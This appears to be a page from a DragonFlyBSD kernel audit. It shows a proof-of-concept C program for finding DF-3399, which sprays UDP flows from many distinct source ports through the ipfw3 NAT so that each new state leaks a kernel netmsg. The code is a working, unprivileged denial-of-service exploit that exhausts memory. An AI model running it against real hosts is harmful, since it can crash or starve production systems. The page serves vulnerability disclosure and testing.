⬢ DragonFlyBSD Kernel Audit
DF-3399 / udp_spray.c
← back to finding ↓ download raw
/*
 * DF-3399: spray N distinct outbound UDP flows through the ipfw3 NAT.
 * Unprivileged-friendly: plain UDP socket, fresh source port per datagram.
 * Every new 5-tuple forces a new NAT state; on a multi-CPU box most of them
 * are handled by the cross-CPU netmsg path that leaks its netmsg.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	int n = atoi(argv[1]);
	int i;
	struct sockaddr_in dst;
	char buf[16];

	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_len = sizeof(dst);
	inet_aton("10.0.2.2", &dst.sin_addr);
	dst.sin_port = htons(9);

	for (i = 0; i < n; i++) {
		struct sockaddr_in src;
		int s = socket(AF_INET, SOCK_DGRAM, 0);
		if (s < 0) { perror("socket"); return 1; }
		memset(&src, 0, sizeof(src));
		src.sin_family = AF_INET;
		src.sin_len = sizeof(src);
		src.sin_port = htons(1024 + (i % 60000));
		inet_aton("10.0.2.15", &src.sin_addr);
		if (bind(s, (struct sockaddr *)&src, sizeof(src)) < 0) {
			/* port in use; skip */
			close(s);
			continue;
		}
		if (sendto(s, buf, sizeof(buf), 0,
		    (struct sockaddr *)&dst, sizeof(dst)) < 0)
			perror("sendto");
		close(s);
	}
	printf("sprayed %d flows\n", n);
	return 0;
}